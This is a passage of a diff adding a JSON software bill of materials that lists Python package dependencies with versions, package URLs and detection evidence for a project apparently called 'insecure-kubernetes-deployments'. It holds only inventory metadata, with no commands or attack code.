+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "nbformat",
+      "version": "5.9.2",
+      "purl": "pkg:pypi/nbformat@5.9.2",
+      "type": "library",
+      "bom-ref": "pkg:pypi/nbformat@5.9.2",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "fastjsonschema",
+      "version": "2.16.2",
+      "purl": "pkg:pypi/fastjsonschema@2.16.2",
+      "type": "library",
+      "bom-ref": "pkg:pypi/fastjsonschema@2.16.2",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "jsonschema",
+      "version": "4.17.3",
+      "purl": "pkg:pypi/jsonschema@4.17.3",
+      "type": "library",
+      "bom-ref": "pkg:pypi/jsonschema@4.17.3",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "jupyter-core",
+      "version": "5.3.0",
+      "purl": "pkg:pypi/jupyter-core@5.3.0",
+      "type": "library",
+      "bom-ref": "pkg:pypi/jupyter-core@5.3.0",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "platformdirs",
+      "version": "3.10.0",
+      "purl": "pkg:pypi/platformdirs@3.10.0",
+      "type": "library",
+      "bom-ref": "pkg:pypi/platformdirs@3.10.0",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "traitlets",
+      "version": "5.7.1",
+      "purl": "pkg:pypi/traitlets@5.7.1",
+      "type": "library",
+      "bom-ref": "pkg:pypi/traitlets@5.7.1",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "conda-pack",
+      "version": "0.6.0",
+      "purl": "pkg:pypi/conda-pack@0.6.0",
+      "type": "library",
+      "bom-ref": "pkg:pypi/conda-pack@0.6.0",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 0.8,
+          "methods": [
+            {
+              "technique": "manifest-analysis",
+              "confidence": 0.8,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+            }
+          ]
+        }
+      },
+      "properties": [
+        {
+          "name": "SrcFile",
+          "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/requirements.txt"
+        }
+      ]
+    },
+    {
+      "group": "",
+      "name": "anyio",
+      "version": "latest",
+      "purl": "pkg:pypi/anyio@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/anyio@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "argon2-cffi",
+      "version": "latest",
+      "purl": "pkg:pypi/argon2-cffi@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/argon2-cffi@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "argon2-cffi-bindings",
+      "version": "latest",
+      "purl": "pkg:pypi/argon2-cffi-bindings@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/argon2-cffi-bindings@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "arrow",
+      "version": "latest",
+      "purl": "pkg:pypi/arrow@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/arrow@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "astroid",
+      "version": "latest",
+      "purl": "pkg:pypi/astroid@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/astroid@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "astropy",
+      "version": "latest",
+      "purl": "pkg:pypi/astropy@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/astropy@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "asttokens",
+      "version": "latest",
+      "purl": "pkg:pypi/asttokens@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/asttokens@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "async-timeout",
+      "version": "latest",
+      "purl": "pkg:pypi/async-timeout@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/async-timeout@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "atomicwrites",
+      "version": "1.4.0",
+      "purl": "pkg:pypi/atomicwrites@1.4.0",
+      "type": "library",
+      "bom-ref": "pkg:pypi/atomicwrites@1.4.0",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "autopep8",
+      "version": "latest",
+      "purl": "pkg:pypi/autopep8@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/autopep8@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "backcall",
+      "version": "latest",
+      "purl": "pkg:pypi/backcall@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/backcall@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "backports.functools-lru-cache",
+      "version": "latest",
+      "purl": "pkg:pypi/backports.functools-lru-cache@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/backports.functools-lru-cache@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "backports.tempfile",
+      "version": "latest",
+      "purl": "pkg:pypi/backports.tempfile@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/backports.tempfile@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "backports.weakref",
+      "version": "1.0.post1",
+      "purl": "pkg:pypi/backports.weakref@1.0.post1",
+      "type": "library",
+      "bom-ref": "pkg:pypi/backports.weakref@1.0.post1",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "bcrypt",
+      "version": "latest",
+      "purl": "pkg:pypi/bcrypt@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/bcrypt@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "beautifulsoup4",
+      "version": "latest",
+      "purl": "pkg:pypi/beautifulsoup4@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/beautifulsoup4@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "binaryornot",
+      "version": "latest",
+      "purl": "pkg:pypi/binaryornot@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/binaryornot@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "black",
+      "version": "latest",
+      "purl": "pkg:pypi/black@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/black@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "bleach",
+      "version": "latest",
+      "purl": "pkg:pypi/bleach@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/bleach@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "blinker",
+      "version": "1.8.2",
+      "purl": "pkg:pypi/blinker@1.8.2",
+      "type": "library",
+      "bom-ref": "pkg:pypi/blinker@1.8.2",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "bokeh",
+      "version": "latest",
+      "purl": "pkg:pypi/bokeh@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/bokeh@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "boltons",
+      "version": "latest",
+      "purl": "pkg:pypi/boltons@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/boltons@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "brotlipy",
+      "version": "0.7.0",
+      "purl": "pkg:pypi/brotlipy@0.7.0",
+      "type": "library",
+      "bom-ref": "pkg:pypi/brotlipy@0.7.0",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "certifi",
+      "version": "latest",
+      "purl": "pkg:pypi/certifi@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/certifi@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "cffi",
+      "version": "latest",
+      "purl": "pkg:pypi/cffi@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/cffi@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "charset-normalizer",
+      "version": "latest",
+      "purl": "pkg:pypi/charset-normalizer@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/charset-normalizer@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "cloudpickle",
+      "version": "latest",
+      "purl": "pkg:pypi/cloudpickle@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/cloudpickle@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "colorama",
+      "version": "latest",
+      "purl": "pkg:pypi/colorama@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/colorama@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "colorcet",
+      "version": "latest",
+      "purl": "pkg:pypi/colorcet@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/colorcet@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "comm",
+      "version": "latest",
+      "purl": "pkg:pypi/comm@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/comm@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "conda-build",
+      "version": "latest",
+      "purl": "pkg:pypi/conda-build@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/conda-build@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "conda-content-trust",
+      "version": "latest",
+      "purl": "pkg:pypi/conda-content-trust@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/conda-content-trust@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "conda-index",
+      "version": "latest",
+      "purl": "pkg:pypi/conda-index@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/conda-index@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "conda-libmamba-solver",
+      "version": "latest",
+      "purl": "pkg:pypi/conda-libmamba-solver@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/conda-libmamba-solver@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "conda-package-streaming",
+      "version": "latest",
+      "purl": "pkg:pypi/conda-package-streaming@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/conda-package-streaming@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "conda-repo-cli",
+      "version": "1.0.75",
+      "purl": "pkg:pypi/conda-repo-cli@1.0.75",
+      "type": "library",
+      "bom-ref": "pkg:pypi/conda-repo-cli@1.0.75",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "conda-token",
+      "version": "latest",
+      "purl": "pkg:pypi/conda-token@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/conda-token@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "conda-verify",
+      "version": "3.4.2",
+      "purl": "pkg:pypi/conda-verify@3.4.2",
+      "type": "library",
+      "bom-ref": "pkg:pypi/conda-verify@3.4.2",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "contourpy",
+      "version": "latest",
+      "purl": "pkg:pypi/contourpy@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/contourpy@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "cookiecutter",
+      "version": "latest",
+      "purl": "pkg:pypi/cookiecutter@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/cookiecutter@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "cycler",
+      "version": "latest",
+      "purl": "pkg:pypi/cycler@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/cycler@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "cytoolz",
+      "version": "latest",
+      "purl": "pkg:pypi/cytoolz@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/cytoolz@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "daal4py",
+      "version": "2023.1.1",
+      "purl": "pkg:pypi/daal4py@2023.1.1",
+      "type": "library",
+      "bom-ref": "pkg:pypi/daal4py@2023.1.1",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "dask",
+      "version": "latest",
+      "purl": "pkg:pypi/dask@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/dask@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "datasets",
+      "version": "latest",
+      "purl": "pkg:pypi/datasets@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/datasets@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "datashader",
+      "version": "latest",
+      "purl": "pkg:pypi/datashader@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/datashader@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "datashape",
+      "version": "0.5.4",
+      "purl": "pkg:pypi/datashape@0.5.4",
+      "type": "library",
+      "bom-ref": "pkg:pypi/datashape@0.5.4",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "debugpy",
+      "version": "latest",
+      "purl": "pkg:pypi/debugpy@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/debugpy@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "decorator",
+      "version": "latest",
+      "purl": "pkg:pypi/decorator@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/decorator@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "diff-match-patch",
+      "version": "latest",
+      "purl": "pkg:pypi/diff-match-patch@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/diff-match-patch@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "dill",
+      "version": "latest",
+      "purl": "pkg:pypi/dill@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/dill@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "distributed",
+      "version": "latest",
+      "purl": "pkg:pypi/distributed@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/distributed@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "docstring-to-markdown",
+      "version": "latest",
+      "purl": "pkg:pypi/docstring-to-markdown@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/docstring-to-markdown@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
+          "confidence": 1,
+          "methods": [
+            {
+              "technique": "instrumentation",
+              "confidence": 1,
+              "value": "/home/confusedcrib/git/insecure-kubernetes-deployments/insecure-app/test"
+            }
+          ]
+        }
+      }
+    },
+    {
+      "group": "",
+      "name": "entrypoints",
+      "version": "latest",
+      "purl": "pkg:pypi/entrypoints@latest",
+      "type": "library",
+      "bom-ref": "pkg:pypi/entrypoints@latest",
+      "evidence": {
+        "identity": {
+          "field": "purl",
